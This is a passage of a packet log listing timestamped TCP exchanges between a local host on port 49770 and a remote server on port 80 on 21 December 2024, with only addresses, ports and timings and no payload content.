Dec 21, 2024 18:16:13.079153061 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.192949057 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.193021059 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.193053007 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.193084002 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.193547964 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.193603992 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.193608046 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.193660021 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.194328070 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.194381952 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.194451094 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.194503069 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.195391893 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.195442915 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.195502996 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.195574999 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.196504116 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.196557999 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.196588039 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.196639061 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.197578907 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.197634935 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.197638988 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.197683096 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.198637009 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.198689938 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.198760033 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.198811054 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.199712038 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.199767113 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.199831963 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.199882030 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.200756073 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.200807095 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.200886965 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.200938940 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.201900959 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.201951981 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.202137947 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.202188015 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.203279972 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.203330994 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.203337908 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.203396082 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.204026937 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.204078913 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.204102039 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.204159021 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.205068111 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.205121040 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.205182076 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.205241919 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.206162930 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.206214905 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.206254959 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.206301928 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.207271099 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.207324028 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.207359076 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.207412004 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.208326101 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.208384037 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.208470106 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.208551884 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.209340096 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.209400892 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.209466934 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.209517002 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.210474968 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.210536003 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.210577011 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.210628033 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.211534977 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.211586952 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.211652040 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.211704969 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.212605953 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.212677002 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.212724924 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.212783098 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.213745117 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.213799953 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.213975906 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.214035988 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.214775085 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.214829922 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.214876890 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.214931011 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.215861082 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.215914011 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.215961933 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.216015100 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.216891050 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.216942072 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.217001915 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.217051029 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.217995882 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.218053102 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.218100071 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.218147039 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.219074965 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.219141006 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.219187975 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.219238043 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.220120907 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.220170021 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.220292091 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.220340967 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.221230030 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.221291065 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.221354008 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.221416950 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.222291946 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.222346067 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.222393990 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.222450018 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.223387003 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.223434925 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.223589897 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.223643064 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.224431038 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.224467039 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.224487066 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.224523067 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.225518942 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.225573063 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.225624084 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.225676060 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.226594925 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.226630926 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.226656914 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.226682901 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.227669954 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.227718115 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.227775097 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.227828026 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.228764057 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.228817940 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.228864908 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.228920937 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.229835033 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.229897022 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.229943991 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.230001926 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.230880022 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.230927944 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.231040001 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.231095076 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.231956959 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.232009888 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.232055902 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.232105017 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.233052969 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.233102083 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.233197927 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.233248949 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.234146118 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.234214067 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.234225035 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.234285116 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.235208035 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.235263109 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.235327005 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.235374928 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.236263990 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.236316919 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.236484051 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.236536026 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.237375975 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.237425089 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.237529039 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.237581015 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.238435030 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.238498926 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.238502026 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.238560915 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.239547014 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.239586115 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.239599943 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.239634991 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.240592957 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.240837097 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.240900993 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.241669893 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.241720915 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.241764069 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.241815090 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.242860079 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.242933035 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.243000031 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.243052959 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.243837118 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.243875980 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.243892908 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.243930101 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.244971991 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.245028019 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.245037079 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.245088100 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.246018887 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.246071100 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.246119976 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.246170998 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.247170925 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.247224092 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.247256041 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.247322083 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.248128891 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.248193979 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.248240948 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.248292923 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.249162912 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.249211073 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.385334015 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.385387897 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.385502100 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.385519028 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.385584116 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.385617971 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.385657072 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.386605024 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.386657000 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.386687040 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.386739969 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.387641907 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.387693882 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.387773037 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.387823105 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.388747931 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.388801098 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.388845921 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.388895035 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.389777899 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.389832020 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.389913082 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.389969110 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.390872002 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.390924931 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.391041994 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.391093016 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.391993046 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.392044067 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.392126083 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.392178059 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.393101931 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.393162966 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.393244028 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.393296957 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.394089937 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.394140959 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.394273043 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.394326925 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.395304918 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.395359039 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.395361900 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.395411968 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.396245956 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.396297932 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.396434069 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.396486044 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.397341967 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.397378922 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.397394896 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.397422075 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.398385048 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.398454905 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.398503065 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.398557901 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.399683952 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.399739027 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.399741888 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.399794102 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.400597095 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.400648117 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.400672913 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.400727034 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.401777983 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.401813984 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.401832104 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.401861906 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.402765036 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.402801991 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.402825117 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.402848959 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.403815985 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.403871059 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.403918982 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.403969049 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.405126095 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.405162096 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.405180931 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.405210018 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.406014919 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.406070948 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.406179905 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.406232119 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.407048941 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.407103062 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.407161951 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.407217979 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.408117056 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.408154011 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.408171892 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.408202887 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.409297943 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.409334898 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.409351110 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.409382105 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.410310984 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.410401106 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.410484076 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.410545111 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.411627054 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.411664963 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.411683083 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.411703110 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.412564039 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.412616968 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.412678957 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.412725925 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.413460016 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.413512945 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.413557053 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.413649082 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.414562941 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.414598942 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.414619923 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.414649010 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.415669918 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.415745020 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.415879965 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.415927887 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.416682959 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.416731119 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.416788101 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.416908979 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.417834044 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.417900085 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.417956114 CET	80	49770	31.41.244.11	192.168.2.4
